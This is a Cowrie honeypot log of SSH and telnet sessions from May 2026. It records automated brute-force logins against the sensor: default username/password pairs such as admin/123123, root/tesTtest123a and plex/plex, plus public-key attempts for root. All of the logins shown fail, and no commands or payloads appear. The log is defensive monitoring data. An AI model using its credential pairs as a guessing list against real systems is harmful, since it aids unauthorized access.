{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43024,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eb2ac2d6ec7","protocol":"ssh","message":"New connection: 192.109.200.237:43024 (159.203.135.109:22) [session: 1eb2ac2d6ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:40.242463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:40.247509Z","src_ip":"192.109.200.237","session":"1eb2ac2d6ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:40.331773Z","src_ip":"192.109.200.237","session":"1eb2ac2d6ec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:40.585845Z","src_ip":"192.109.200.237","session":"1eb2ac2d6ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:41.678877Z","src_ip":"192.109.200.237","session":"1eb2ac2d6ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.15367341041565,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:42.364090Z","src_ip":"152.42.224.71","session":"bd48d10b84b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43038,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb275d5d866","protocol":"ssh","message":"New connection: 192.109.200.237:43038 (159.203.135.109:22) [session: bbb275d5d866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:43.574370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:43.578949Z","src_ip":"192.109.200.237","session":"bbb275d5d866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:43.714558Z","src_ip":"192.109.200.237","session":"bbb275d5d866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:44.118118Z","src_ip":"192.109.200.237","session":"bbb275d5d866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181913375854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:44.152224Z","src_ip":"152.42.224.71","session":"1d68ddd0355b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.456878662109375,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:44.746699Z","src_ip":"152.42.224.71","session":"8b3829426ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:45.203514Z","src_ip":"192.109.200.237","session":"bbb275d5d866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43046,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbf057ca0ab3","protocol":"ssh","message":"New connection: 192.109.200.237:43046 (159.203.135.109:22) [session: bbf057ca0ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:46.948022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:46.952897Z","src_ip":"192.109.200.237","session":"bbf057ca0ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:47.038179Z","src_ip":"192.109.200.237","session":"bbf057ca0ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:47.436341Z","src_ip":"192.109.200.237","session":"bbf057ca0ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:48.529580Z","src_ip":"192.109.200.237","session":"bbf057ca0ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45696,"dst_ip":"159.203.135.109","dst_port":22,"session":"c967e919fb4e","protocol":"ssh","message":"New connection: 192.109.200.237:45696 (159.203.135.109:22) [session: c967e919fb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:50.526709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:50.531844Z","src_ip":"192.109.200.237","session":"c967e919fb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:50.615718Z","src_ip":"192.109.200.237","session":"c967e919fb4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:50.865124Z","src_ip":"192.109.200.237","session":"c967e919fb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:51.950159Z","src_ip":"192.109.200.237","session":"c967e919fb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":45146,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4af9ff82c9a","protocol":"ssh","message":"New connection: 194.120.230.72:45146 (10.17.0.5:22) [session: c4af9ff82c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:52.950722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:52.955481Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.047324Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:c7:3f:9a:09:58:1f:a8:b3:4a:fd:49:cc:1a:44:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3LN699kwr57KSVEu+wDPTw8shFt9ge1n5TM/Dd1MNxmf63NCMEGvimJaClnRXk9b8I6FX4V/eare5qDx13vxMoJAu3jlpiYn/SGcHTZR9jsvBEeOD3KH5RPFtdzfDt9GM99vaoUahDSjVBd8NvQtZXTC0Y5F2HVSbyhwXOC5QGWorMNueXI0NrhsxaO0IxhQHIjY+Ca7uHsiGUGAgoQBNB1BRzh3YIQgjcQy//mc5okL6u74gDo6qcJ//vF7iiTzcc/5lQG5zWvvWUykOfRSFq3FZiASF708HfxgbWKz7nWzdElOH5eI1YKz0EcMMOU0D+mKeBGixbAqpxdYGTNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:c7:3f:9a:09:58:1f:a8:b3:4a:fd:49:cc:1a:44:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.467395Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:c7:3f:9a:09:58:1f:a8:b3:4a:fd:49:cc:1a:44:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3LN699kwr57KSVEu+wDPTw8shFt9ge1n5TM/Dd1MNxmf63NCMEGvimJaClnRXk9b8I6FX4V/eare5qDx13vxMoJAu3jlpiYn/SGcHTZR9jsvBEeOD3KH5RPFtdzfDt9GM99vaoUahDSjVBd8NvQtZXTC0Y5F2HVSbyhwXOC5QGWorMNueXI0NrhsxaO0IxhQHIjY+Ca7uHsiGUGAgoQBNB1BRzh3YIQgjcQy//mc5okL6u74gDo6qcJ//vF7iiTzcc/5lQG5zWvvWUykOfRSFq3FZiASF708HfxgbWKz7nWzdElOH5eI1YKz0EcMMOU0D+mKeBGixbAqpxdYGTNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.471488Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ec:0d:0b:6a:43:7b:85:3b:bc:c9:aa:a3:ed:14:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmOApR2wHEV527vYpd5yCtW/3zy2hg1LOu+43RaSvfYfHiU8e3Iq1cj49eFjqfJKYAPay+UmopUH4VQP5gb35b/LpIYEZDkxfdCfKW48IPULZTHVjOj9RmC0HsS1ONub1WIe6DPVZFu9wPpg5iP+FT9vWM7bqXE29NeU02BbWJrxvkgTq+zexwFpKbmp5vxAU0AebsTQmiOzSbLF/cDbH/NEYVN+vrIVZWv+miLz223FYPcGuRg1JyAI6eN1FVQ258wDbGG/sEOMwRb2ca4FqLnUCaCv1Ok2aH7VvbU/J/ED7kcaKZESJx63dgA8pSPFkRMEEldjgRjN8D43penGBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ec:0d:0b:6a:43:7b:85:3b:bc:c9:aa:a3:ed:14:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.561222Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ec:0d:0b:6a:43:7b:85:3b:bc:c9:aa:a3:ed:14:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmOApR2wHEV527vYpd5yCtW/3zy2hg1LOu+43RaSvfYfHiU8e3Iq1cj49eFjqfJKYAPay+UmopUH4VQP5gb35b/LpIYEZDkxfdCfKW48IPULZTHVjOj9RmC0HsS1ONub1WIe6DPVZFu9wPpg5iP+FT9vWM7bqXE29NeU02BbWJrxvkgTq+zexwFpKbmp5vxAU0AebsTQmiOzSbLF/cDbH/NEYVN+vrIVZWv+miLz223FYPcGuRg1JyAI6eN1FVQ258wDbGG/sEOMwRb2ca4FqLnUCaCv1Ok2aH7VvbU/J/ED7kcaKZESJx63dgA8pSPFkRMEEldjgRjN8D43penGBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.565549Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:5d:a6:7b:75:b9:03:5c:22:85:ad:90:7c:09:43:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYXj9hZi8l/1neFGem5wc5zQGcT6Ytxfz86PGIAxuI0yqznPTdxcQsJxOqzzT7TkOm8uZjSsPqyxPGwGnrgmF4/ZLaH9LmJHD6QbeG/MXdiZ2Qu5PhNdcKUFrbM++JwhxpUYUfyQ+rBDiIdjwX2nXEHPD6V1Ok59gH1u5oFp1UVRa9vryrOmfp2+i3VqOKtMJq+3vDorgZm4MC4IGkq7TIxLl4IBeWEOknjf1aPbviLdfn1xzb6uukmsYGpL/3lS4Iy9zYNld12HBFXaUCu6cJNqOOtrE/YJWcT7gqgTJwhXrNLeRz2Txnc5OdGm0CzhXAZTEM5qiDbw8bzgrGwWlF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:5d:a6:7b:75:b9:03:5c:22:85:ad:90:7c:09:43:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.654984Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:5d:a6:7b:75:b9:03:5c:22:85:ad:90:7c:09:43:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYXj9hZi8l/1neFGem5wc5zQGcT6Ytxfz86PGIAxuI0yqznPTdxcQsJxOqzzT7TkOm8uZjSsPqyxPGwGnrgmF4/ZLaH9LmJHD6QbeG/MXdiZ2Qu5PhNdcKUFrbM++JwhxpUYUfyQ+rBDiIdjwX2nXEHPD6V1Ok59gH1u5oFp1UVRa9vryrOmfp2+i3VqOKtMJq+3vDorgZm4MC4IGkq7TIxLl4IBeWEOknjf1aPbviLdfn1xzb6uukmsYGpL/3lS4Iy9zYNld12HBFXaUCu6cJNqOOtrE/YJWcT7gqgTJwhXrNLeRz2Txnc5OdGm0CzhXAZTEM5qiDbw8bzgrGwWlF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.659187Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:66:ac:a5:28:36:81:7a:57:86:4a:35:6f:fe:e4:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQdxeCBOhcv3WOBb2XokRI4zkGs5bTH8Yu+O08BuDLhAgd1W7dogcxtrxbXoVFySgE8dw2HWeMFXfbRng2TSe74U/nKyPoYzIRFpMQr7DajT38T+z7RL0UIWp90sDJabYDpBQGeEZ3v19OHLjqv+CR5N6OlW2vOkLG0Sf7alMwwdnf4aB1kTR8XhbQ1ZUQkyO0TMwKeeKRudiAh0MGPA+qukhLkVUYnjeyV4yg0rSHSIgffS1yF0ojWAONUsm/3KXYQxHV4kR/5mVPq8WEYoKPhzYAICY1+LDF18u5lpBVaMgnA54vbPHv9YEOA0T3U6tk86XQ6Jq7Rgj5t0b0NxrEJlQK7cfY6rqXL4BYKOePjOLEDO1zskWt1x4+lu/hWUJywjAlItBkLEU9Y1LYVY8u4MzOAFLgR9AjPrRJ5SN9iXhiDnZfIs7S2IZdXkG0sNvOscLTI+hCCTOdbkCiy1rWXT/jHnSmfWWt9cLXzS2bcf8dFsR2x5vrktpsMWQkHgbY3meDBllGRPyJwGgi4Q5fLlNhhVOToihOHAUxMjVI11AMSrpWsEZJhBkPLF1Pcs8jaRSZ2gfKnE97SJceHKipo5SJ1JTlC0831JNxS8TIjWGm2UvvCPjBnXXsFxjhvaHM2A0bl8APg7ba8mWVjiFyE5ceyHOAhNDXhoS6ly0uaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:66:ac:a5:28:36:81:7a:57:86:4a:35:6f:fe:e4:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.749003Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:66:ac:a5:28:36:81:7a:57:86:4a:35:6f:fe:e4:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQdxeCBOhcv3WOBb2XokRI4zkGs5bTH8Yu+O08BuDLhAgd1W7dogcxtrxbXoVFySgE8dw2HWeMFXfbRng2TSe74U/nKyPoYzIRFpMQr7DajT38T+z7RL0UIWp90sDJabYDpBQGeEZ3v19OHLjqv+CR5N6OlW2vOkLG0Sf7alMwwdnf4aB1kTR8XhbQ1ZUQkyO0TMwKeeKRudiAh0MGPA+qukhLkVUYnjeyV4yg0rSHSIgffS1yF0ojWAONUsm/3KXYQxHV4kR/5mVPq8WEYoKPhzYAICY1+LDF18u5lpBVaMgnA54vbPHv9YEOA0T3U6tk86XQ6Jq7Rgj5t0b0NxrEJlQK7cfY6rqXL4BYKOePjOLEDO1zskWt1x4+lu/hWUJywjAlItBkLEU9Y1LYVY8u4MzOAFLgR9AjPrRJ5SN9iXhiDnZfIs7S2IZdXkG0sNvOscLTI+hCCTOdbkCiy1rWXT/jHnSmfWWt9cLXzS2bcf8dFsR2x5vrktpsMWQkHgbY3meDBllGRPyJwGgi4Q5fLlNhhVOToihOHAUxMjVI11AMSrpWsEZJhBkPLF1Pcs8jaRSZ2gfKnE97SJceHKipo5SJ1JTlC0831JNxS8TIjWGm2UvvCPjBnXXsFxjhvaHM2A0bl8APg7ba8mWVjiFyE5ceyHOAhNDXhoS6ly0uaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:53.753939Z","src_ip":"194.120.230.72","session":"c4af9ff82c9a","protocol":"ssh"}
